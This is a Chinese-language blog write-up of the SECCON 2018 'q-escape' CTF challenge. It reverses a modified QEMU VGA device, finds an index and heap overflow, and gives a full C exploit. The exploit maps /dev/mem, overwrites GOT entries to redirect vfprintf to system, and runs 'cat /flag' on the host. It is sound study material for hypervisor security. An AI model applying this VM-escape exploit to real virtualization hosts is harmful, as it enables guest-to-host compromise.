q-escape
196082 慢慢好起来

许久没有更新,前段时间一直考试所以一直拖着了。

设备分析

首先看看开了什么保护

1
2
3
4
5
6
7
8
➜  q-escape checksec --file=./qemu-system-x86_64 
[*] '/media/psf/Home/Documents/pwn/qemu_escape/q-escape/qemu-system-x86_64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

没有开启PIE

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
./qemu-system-x86_64 \
-m 64 \
-initrd ./initramfs.igz \
-kernel ./vmlinuz-4.15.0-36-generic \
-append "priority=low console=ttyS0" \
-nographic \
-L ./pc-bios \
-vga std \
-device cydf-vga \
-monitor telnet:127.0.0.1:2222,server,nowait

设备名为cydf-vga并且允许连接。

将qemu-system-x86_64拖入ida中,查找与设备cydf-vga相关的函数。

image-20230315122813653

先分析cydf_vga_class_init初始化函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall cydf_vga_class_init(ObjectClass_0 *klass, void *data)
{
PCIDeviceClass *v2; // rbx
PCIDeviceClass *v3; // rax

v2 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
klass,
"device",
"/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
3223,
"cydf_vga_class_init");
v3 = (PCIDeviceClass *)object_class_dynamic_cast_assert(
klass,
"pci-device",
"/home/dr0gba/pwn/seccon/qemu-3.0.0/hw/display/cydf_vga.c",
3224,
"cydf_vga_class_init");
v3->realize = pci_cydf_vga_realize;
v3->romfile = "vgabios-cydf.bin";
v3->vendor_id = 0x1013;
v3->device_id = 0xB8;
v3->class_id = 0x300;
v2->parent_class.desc = "Cydf CLGD 54xx VGA";
v2->parent_class.categories[0] |= 0x20uLL;
v2->parent_class.vmsd = &vmstate_pci_cydf_vga;
v2->parent_class.props = pci_vga_cydf_properties;
v2->parent_class.hotpluggable = 0;
}

可以看到device_id为0xB8,vendor_id为0x1013,class_id为0x300。并且可以看到父类的描述为Cydf CLGD 54xx VGA。合理猜测是根据原本的改的。

1
2
3
4
5
6
7
➜  display git:(master) grep -r 'CLGD 54xx VGA' ./ 
./cirrus_vga_rop.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga_isa.c: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
./cirrus_vga_internal.h: * QEMU Cirrus CLGD 54xx VGA Emulator, ISA bus support
./cirrus_vga_rop2.h: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c: * QEMU Cirrus CLGD 54xx VGA Emulator.
./cirrus_vga.c: dc->desc = "Cirrus CLGD 54xx VGA";

事实也是这样的。

1
2
3
4
5
6
7
8
/ # lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 0300: 1013:00b8 <-- cydf_vga
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/ # cat /sys/bus/pci/devices/0000\:00\:04.0/resource
0x00000000fa000000 0x00000000fbffffff 0x0000000000042208
0x00000000febc1000 0x00000000febc1fff 0x0000000000040200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x00000000febb0000 0x00000000febbffff 0x0000000000046200
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 0x0000000000000000

通过这里可以看到三个mmio空间。通过交叉引用,可以找到哪里注册了IO

image-20230315134309905

1
2
3
memory_region_init_io(&s->cydf_vga_io, owner, &cydf_vga_io_ops, s, "cydf-io", 0x30uLL);
memory_region_init_io(&s->low_mem, owner, &cydf_vga_mem_ops, s, "cydf-low-memory", 0x20000uLL);
memory_region_init_io(&s->cydf_mmio_io, owner, &cydf_mmio_io_ops, s, "cydf-mmio", 0x1000uLL);

这里关注与cydf相关的空间注册,根据大小来看第一个就是pmio,只不过在resource文件内没有范围

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/ # cat /proc/ioports 
0000-0cf7 : PCI Bus 0000:00
0000-001f : dma1
0020-0021 : pic1
0040-0043 : timer0
0050-0053 : timer1
0060-0060 : keyboard
0064-0064 : keyboard
0070-0071 : rtc0
0080-008f : dma page reg
00a0-00a1 : pic2
00c0-00df : dma2
00f0-00ff : fpu
0170-0177 : 0000:00:01.1
0170-0177 : ata_piix
01f0-01f7 : 0000:00:01.1
01f0-01f7 : ata_piix
0376-0376 : 0000:00:01.1
0376-0376 : ata_piix
03c0-03df : vga+
03f6-03f6 : 0000:00:01.1
03f6-03f6 : ata_piix
03f8-03ff : serial
0510-051b : QEMU0002:00
0600-063f : 0000:00:01.3
0600-0603 : ACPI PM1a_EVT_BLK
0604-0605 : ACPI PM1a_CNT_BLK
0608-060b : ACPI PM_TMR
0700-070f : 0000:00:01.3
0cf8-0cff : PCI conf1
0d00-ffff : PCI Bus 0000:00
afe0-afe3 : ACPI GPE0_BLK
c000-c03f : 0000:00:03.0
c040-c04f : 0000:00:01.1
c040-c04f : ata_piix

可以看到这里存在一个大小刚好为0x30的vga+的端口范围。

image-20230315134724201

根据定义的函数来看我们还需要找到vga的映射空间,通过这篇文章vgamem可以得知vga的映射空间为000a0000-000bffff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/ # cat /proc/iomem 
00000000-00000fff : Reserved
00001000-0009fbff : System RAM
0009fc00-0009ffff : Reserved
000a0000-000bffff : PCI Bus 0000:00
000c0000-000c97ff : Video ROM
000c9800-000ca5ff : Adapter ROM
000ca800-000cadff : Adapter ROM
000f0000-000fffff : Reserved
000f0000-000fffff : System ROM
00100000-03fdffff : System RAM
01000000-01c031d0 : Kernel code
01c031d1-0266a03f : Kernel data
028e2000-02b3dfff : Kernel bss
03fe0000-03ffffff : Reserved
04000000-febfffff : PCI Bus 0000:00
fa000000-fbffffff : 0000:00:04.0
fc000000-fcffffff : 0000:00:02.0
feb40000-feb7ffff : 0000:00:03.0
feb80000-feb9ffff : 0000:00:03.0
febb0000-febbffff : 0000:00:04.0
febc0000-febc0fff : 0000:00:02.0
febc1000-febc1fff : 0000:00:04.0
fec00000-fec003ff : IOAPIC 0
fed00000-fed003ff : HPET 0
fed00000-fed003ff : PNP0103:00
fee00000-fee00fff : Local APIC
fffc0000-ffffffff : Reserved
100000000-17fffffff : PCI Bus 0000:00

通过注册的大小和所看到的其实地址可以确定是这里000a0000-000bffff : PCI Bus 0000:00

并且在源码中也有

1
2
3
4
5
/***************************************
*
* memory access between 0xa0000-0xbffff
*
***************************************/

可以看到vga_mem空间在resource文件中并不存在,所以无法像前面一道题一样使用resource0文件去访问内存了。这时我们可以利用/dev/mem文件,dev/mem是物理内存的全映像,可以用来访问物理内存,用mmap来访问物理内存以及外设的IO资源,是实现用户空间驱动的一种方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
system( "mknod -m 660 /dev/mem c 1 1" );
int fd = open( "/dev/mem", O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}

mmio_mem = mmap( NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xfebc1000 );
if ( !mmio_mem ) {
die("mmap mmio failed");
}

vga_mem = mmap( NULL, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0xa0000 );
if ( !vga_mem ) {
die("mmap vga mem failed");
}

函数分析

根据上一道题的流程来看,这里需要分析分析结构体了。

image-20230315135737136

在对比两个结构体的结果发现了源文件中不存在VulnState_0 vs[16];uint32_t latch[4];这样两个属性。并且还明显的说了是VulnState_0。通过源码对比发现,源码中考虑地址的情况只有addr < 0x10000addr >= 0x18000 && addr < 0x18100

但是这里存在一个新的,也就是大于0x18100的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
v5 = opaque->vga.sr[0xCC] % 5u;
if ( *(_WORD *)&opaque->vga.sr[0xCD] )
LODWORD(mem_value) = (opaque->vga.sr[0xCD] << 16) | (opaque->vga.sr[0xCE] << 8) | mem_value;
if ( v5 == 2 )
{
v21 = BYTE2(mem_value);
if ( v21 <= 0x10 && opaque->vs[v21].buf )
__printf_chk(1LL);
}
else
{
if ( v5 <= 2u )
{
if ( v5 == 1 )
{
if ( BYTE2(mem_value) > 0x10uLL )
return;
v6 = (char *)opaque + 16 * BYTE2(mem_value);
v7 = *((_QWORD *)v6 + 0x267B);
if ( !v7 )
return;
v8 = *((unsigned int *)v6 + 0x4CF9);
if ( (unsigned int)v8 >= *((_DWORD *)v6 + 0x4CF8) )
return;
LABEL_26:
*((_DWORD *)v6 + 0x4CF9) = v8 + 1;
*(_BYTE *)(v7 + v8) = mem_value;
return;
}
goto LABEL_35;
}
if ( v5 != 3 )
{
if ( v5 == 4 )
{
if ( BYTE2(mem_value) > 0x10uLL )
return;
v6 = (char *)opaque + 16 * BYTE2(mem_value);
v7 = *((_QWORD *)v6 + 0x267B);
if ( !v7 )
return;
v8 = *((unsigned int *)v6 + 19705);
if ( (unsigned int)v8 > 0xFFF )
return;
goto LABEL_26;
}
LABEL_35:
v17 = vulncnt;
if ( vulncnt <= 0x10 && (unsigned __int16)mem_value <= 0x1000uLL )
{
mem_valuea = mem_value;
v18 = malloc((unsigned __int16)mem_value);
v19 = (char *)opaque + 16 * v17;
*((_QWORD *)v19 + 9851) = v18;
if ( v18 )
{
vulncnt = v17 + 1;
*((_DWORD *)v19 + 19704) = mem_valuea;
}
}
return;
}
if ( BYTE2(mem_value) <= 0x10uLL )
{
v20 = (char *)opaque + 16 * BYTE2(mem_value);
if ( *((_QWORD *)v20 + 9851) )
{
if ( (unsigned __int16)mem_value <= 0x1000u )
*((_QWORD *)v20 + 9852) = (unsigned __int16)mem_value;
}
}
}

逆向之后会发现这里其实就是一个堆题,总共有五个选项

1
2
3
4
5
v5==0时,opaque->vs[idx].buf = malloc(mem_value & 0xfff); max_size == mem_value & 0xfff
v5==1时,当cur_size < max_size时,opaque->vs[idx].buf[cur_size++] = mem_value & 0xff
v5==2时,printf_chk(1, opaque->vs[idx].buf)
v5==3时,opaque->vs[idx].max_size = mem_value & 0xfff
v5==4时,opaque->vs[idx].buf[cur_size++] = mem_value & 0xff

需要吐槽的是,这两次汇编语言表达的意思一样但是表达的形式不一样,所以莫名其妙的需要依靠汇编来逆向。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.text:000000000068F521 48 81 C2 3D 13 00 00          add     rdx, 133Dh
.text:000000000068F528 48 C1 E2 04 shl rdx, 4
.text:000000000068F52C 48 8B 74 13 08 mov rsi, [s+rdx+8]
.text:000000000068F531 48 85 F6 test rsi, rsi
.text:000000000068F534 0F 84 24 FD FF FF jz loc_68F25E
.text:000000000068F534
.text:000000000068F53A 48 83 C4 18 add rsp, 18h
.text:000000000068F53E BF 01 00 00 00 mov edi, 1
.text:000000000068F543 31 C0 xor eax, eax
.text:000000000068F545 5B pop s
.text:000000000068F546 5D pop rbp
.text:000000000068F547 E9 F4 99 D7 FF jmp ___printf_chk

······

.text:000000000068F47B 48 89 E9 mov rcx, rbp
.text:000000000068F47E 48 C1 E1 04 shl rcx, 4
.text:000000000068F482 48 01 CB add s, rcx
.text:000000000068F485 48 85 C0 test rax, rax
.text:000000000068F488 48 89 83 D8 33 01 00 mov [rbx+133D8h], rax
.text:000000000068F48F 0F 84 C9 FD FF FF jz loc_68F25E
.text:000000000068F48F
.text:000000000068F495 48 8B 54 24 08 mov rdx, qword ptr [rsp+28h+chunk_size]
.text:000000000068F49A 48 83 C5 01 add rbp, 1
.text:000000000068F49E 48 89 2D 3B A0 A3 00 mov cs:vulncnt, rbp
.text:000000000068F4A5 81 E2 FF FF 00 00 and edx, 0FFFFh
.text:000000000068F4AB 89 93 E0 33 01 00 mov [rbx+133E0h], edx
.text:000000000068F4B1 E9 A8 FD FF FF jmp loc_68F25E

上面可以看到漏洞点是v5 == 4时,对cur_size没有检测,可以实现堆溢出,当然我感觉三可以修改最大size配合二也是可以实现堆溢出,但是直接用四即可实现所以也没必要再去搞三二了。

再就是存在一个大的问题就是,上面所有对idx的验证就是小于等于16,所以这一出也就导致我们可以溢出到下一个成员latch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
uint64_t __fastcall cydf_vga_mem_read(CydfVGAState *opaque, hwaddr addr, uint32_t size)
{
uint32_t v3; // eax
bool v4; // zf
uint64_t result; // rax
char *v6; // rcx
unsigned int v7; // edx
unsigned int v8; // edx

v3 = opaque->latch[0];
if ( !(_WORD)v3 )
{
v4 = (opaque->vga.sr[7] & 1) == 0;
opaque->latch[0] = addr | v3;
if ( !v4 )
goto LABEL_3;
return vga_mem_readb(&opaque->vga, addr);
}
v4 = (opaque->vga.sr[7] & 1) == 0;
opaque->latch[0] = (_DWORD)addr << 16;
if ( v4 )
return vga_mem_readb(&opaque->vga, addr);
LABEL_3:
if ( addr > 0xFFFF )
{
result = 255LL;
if ( addr - 0x18000 <= 0xFF && (opaque->vga.sr[23] & 0x44) == 4 )
return cydf_mmio_blt_read(opaque, (unsigned __int8)addr);
}
else
{
result = 0xFFLL;
v6 = (char *)opaque + 4 * (addr >> 15);
v7 = addr & 0x7FFF;
if ( v7 < *((_DWORD *)v6 + 0x44D5) )
{
v8 = *((_DWORD *)v6 + 0x44D3) + v7;
if ( (opaque->vga.gr[11] & 0x14) == 20 )
{
v8 *= 16;
}
else if ( (opaque->vga.gr[11] & 2) != 0 )
{
v8 *= 8;
}
return opaque->vga.vram_ptr[opaque->cydf_addr_mask & v8];
}
}
return result;
}

而在这个函数中其实是可以控制latch[0]的值的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
switch ( (char)sr_index )
{
case 0:
case 1:
case 2:
case 3:
case 4:
opaque->vga.sr[(unsigned __int8)sr_index] = sr_mask[(unsigned __int8)sr_index] & v4;
if ( (_BYTE)sr_index == 1 )
goto LABEL_35;
break;
case 6:
opaque->vga.sr[6] = 3 * ((v4 & 0x17) == 18) + 15;
break;
case 7:
cydf_update_memory_access(opaque);
sr_index = opaque->vga.sr_index;
goto LABEL_28;
case 8:
case 9:
case 0xA:
case 0xB:
case 0xC:
case 0xD:
case 0xE:
case 0xF:
case 0x13:
case 0x14:
case 0x15:
case 0x16:
case 0x18:
case 0x19:
case 0x1A:
case 0x1B:
case 0x1C:
case 0x1D:
case 0x1E:
case 0x1F:
case 0xCC:
case 0xCD:
case 0xCE:
LABEL_28:
opaque->vga.sr[sr_index] = v4;
break;
}

而在这里我们正好可以控制opaque->vga.sr[0xCC]的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int qemu_log(const char *fmt, ...)
{
__int64 v1; // rdx
__int64 v2; // rcx
__int64 v3; // rsi
__int64 v4; // r8
__int64 v5; // r9
int ret; // [rsp+1Ch] [rbp-D4h]
gcc_va_list va; // [rsp+20h] [rbp-D0h] BYREF
unsigned __int64 v9; // [rsp+38h] [rbp-B8h]
__int64 v10; // [rsp+48h] [rbp-A8h]
__int64 v11; // [rsp+50h] [rbp-A0h]
__int64 v12; // [rsp+58h] [rbp-98h]
__int64 v13; // [rsp+60h] [rbp-90h]
__int64 v14; // [rsp+68h] [rbp-88h]

va_start(va, fmt);
v3 = va_arg(va, _QWORD);
v1 = va_arg(va, _QWORD);
v2 = va_arg(va, _QWORD);
v4 = va_arg(va, _QWORD);
v5 = va_arg(va, _QWORD);
va_end(va);
v10 = v3;
v11 = v1;
v12 = v2;
v13 = v4;
v14 = v5;
v9 = __readfsqword(0x28u);
ret = 0;
if ( qemu_logfile )
{
va_start(va, fmt);
va_arg(va, _QWORD);
va_arg(va, _QWORD);
va_arg(va, _QWORD);
va_arg(va, _QWORD);
va_arg(va, _QWORD);
ret = vfprintf(qemu_logfile, fmt, va);
if ( ret < 0 )
return 0;
}
return ret;
}

qemu_log函数中,存在一个vfprintf函数调用了bss上的一个变量qemu_logfile。那么利用思路如下:

  1. 修改qemu_logfile的内容为cat /flag
  2. 修改vfprintf函数的got表为system
  3. 修改printf_chk函数的got表为qemu_log
  4. 最后让v5等于2,触发printf_chk

漏洞利用

先吐槽一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
switch ( addr )
{
case 4uLL:
case 0x24uLL:
opaque->vga.cr_index = value;
break;
case 5uLL:
case 0x25uLL:
cr_index = opaque->vga.cr_index;
if ( (unsigned __int8)cr_index <= 0x18u )
{
if ( (opaque->vga.cr[17] & 0x80u) == 0 || (unsigned __int8)cr_index > 7u )
{
opaque->vga.cr[(unsigned __int8)cr_index] = value;
if ( (_BYTE)cr_index != 24 && ((1LL << cr_index) & 0x8200F1) != 0 )
LABEL_35:
opaque->vga.update_retrace_info((VGACommonState *)opaque);
}
else if ( (_BYTE)cr_index == 7 )
{
opaque->vga.cr[7] = value & 0x10 | opaque->vga.cr[7] & 0xEF;
}
}
else if ( (unsigned __int8)cr_index <= 0x1Du )
{
opaque->vga.cr[cr_index] = value;
}
break;
case 0xAuLL:
case 0x2AuLL:
opaque->vga.fcr = value & 0x10;
break;
case 0x10uLL:
ar_flip_flop = opaque->vga.ar_flip_flop;
if ( ar_flip_flop )
{
v13 = opaque->vga.ar_index & 0x1F;
switch ( opaque->vga.ar_index & 0x1F )
{
case 0:
case 1:
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
case 9:
case 0xA:
case 0xB:
case 0xC:
case 0xD:
case 0xE:
case 0xF:
case 0x12:
opaque->vga.ar[v13] = value & 0x3F;
break;
case 0x10:
opaque->vga.ar[v13] = value & 0xEF;
break;
case 0x11:
goto LABEL_42;
case 0x13:
case 0x14:
LOBYTE(value) = value & 0xF;
LABEL_42:
opaque->vga.ar[v13] = value;
break;
default:
break;
}
}
else
{
opaque->vga.ar_index = value & 0x3F;
}
opaque->vga.ar_flip_flop = ar_flip_flop ^ 1;
break;
case 0x12uLL:
opaque->vga.msr = value & 0xEF;
opaque->vga.update_retrace_info((VGACommonState *)opaque);
break;
case 0x14uLL:
opaque->vga.sr_index = value;
break;
... ...
}

着狗屎ida翻译的是0x14

1
2
3
4
5
6
.text:000000000068F5F6 48 81 EB B4 03 00 00          sub     addr, 3B4h                      ; switch 39 cases
.text:000000000068F5FD 48 83 FB 26 cmp rbx, 26h
.text:000000000068F601 77 C1 ja short def_68F603 ; jumptable 000000000068F603 default case, cases 950-953,955-959,961,963,970-973,976-979,982-985
.text:000000000068F601 ; jumptable 000000000068F792 default case, cases 5,32-47,50-79,82-111,114-143,146-175,178-203,207,210-239
.text:000000000068F601
.text:000000000068F603 FF 24 DD 78 8E A9 00 jmp ds:jpt_68F603[rbx*8] ; switch jump

在这里是减去0x3B4

image-20230315161250131

但是这里真正需要的是0x10,又一次翻译错误。

忽略这些小错误之后直接编写exp即可

综上,可得exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)

void die(const char *msg)
{
perror(msg);
exit(-1);
}

size_t va2pa(void *addr)
{
uint64_t data;

int fd = open("/proc/self/pagemap", O_RDONLY);
if (!fd)
{
perror("open pagemap");
return 0;
}

size_t offset = ((uintptr_t)addr / PAGE_SIZE) * sizeof(uint64_t);

if (lseek(fd, offset, SEEK_SET) < 0)
{
puts("lseek");
close(fd);
return 0;
}

if (read(fd, &data, 8) != 8)
{
puts("read");
close(fd);
return 0;
}

if (!(data & (((uint64_t)1 << 63))))
{
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * PAGE_SIZE + (uintptr_t)addr % PAGE_SIZE;

close(fd);

return phyaddr;
}

uint32_t vga_addr = 0xa0000;
uint32_t vga_size = 0x20000;

unsigned char *mmio_mem;
unsigned char *vga_mem;

void set_sr(unsigned int idx, unsigned int val)
{
outb(idx, 0x3c4);
outb(val, 0x3c5);
}

void vga_mem_write(uint32_t addr, uint8_t value)
{
*((uint8_t *)(vga_mem + addr)) = value;
}

void set_latch(uint32_t value)
{
char a;
a = vga_mem[(value >> 16) & 0xffff]; // write hight
write(1, &a, 1);
a = vga_mem[value & 0xffff]; // write low
write(1, &a, 1);
}

int main()
{
system("mknod -m 660 /dev/mem c 1 1");
int fd = open("/dev/mem", O_RDWR | O_SYNC);
if (fd == -1)
{
return 0;
}

vga_mem = mmap(NULL, vga_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, vga_addr);
if (!vga_mem)
{
die("mmap vga mem failed");
}

if (ioperm(0x3b0, 0x30, 1) == -1)
{
die("cannot ioperm");
}

set_sr(7, 1); // bypass first if
set_sr(0xcc, 4); // v7==4
set_sr(0xcd, 0x10); // vs[0x10]

unsigned long long int bss = 0x109e000 + 0x500;
unsigned long long int qemu_logfile = 0x10CCBE0;
unsigned long long int vfprintf_got = 0xee7bb0;
unsigned long long int system_plt = 0x409dd0;
unsigned long long int printf_chk_got = 0xee7028;
unsigned long long int qemu_log = 0x9726E8;

char cat_flag[] = "cat /flag";
char a;
char *payload;
int cur_size = 0;

a = vga_mem[1];
write(1, &a, 1);
set_latch(bss);
for (int i = 0; i < 9; i++)
{
write(1, &cat_flag[i], 1);
vga_mem_write(0x18100, cat_flag[i]);
}
cur_size += 9;

set_latch(qemu_logfile - cur_size);
payload = (char *)&bss;
for (int i = 0; i < 8; i++)
{
write(1, &payload[i], 1);
vga_mem_write(0x18100, payload[i]);
}
cur_size += 8;

set_latch(vfprintf_got - cur_size);
payload = (char *)&system_plt;
for (int i = 0; i < 8; i++)
{
write(1, &payload[i], 1);
vga_mem_write(0x18100, payload[i]);
}
cur_size += 8;

set_latch(printf_chk_got - cur_size);
payload = (char *)&qemu_log;
for (int i = 0; i < 8; i++)
{
write(1, &payload[i], 1);
vga_mem_write(0x18100, payload[i]);
}
cur_size += 8;

set_sr(0xcc, 2);
vga_mem_write(0x18100, 1);

return 0;
}

image-20230315163823703


参考链接:
https://www.anquanke.com/post/id/224199#h3-11
https://devcraft.io/2018/11/22/q-escape-seccon-2018.html
https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga.c#L2004
https://github.com/qemu/qemu/blob/master/hw/display/cirrus_vga_internal.h
题目链接:
https://github.com/196082/196082/blob/main/qemu_escape/q-escape.zip

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量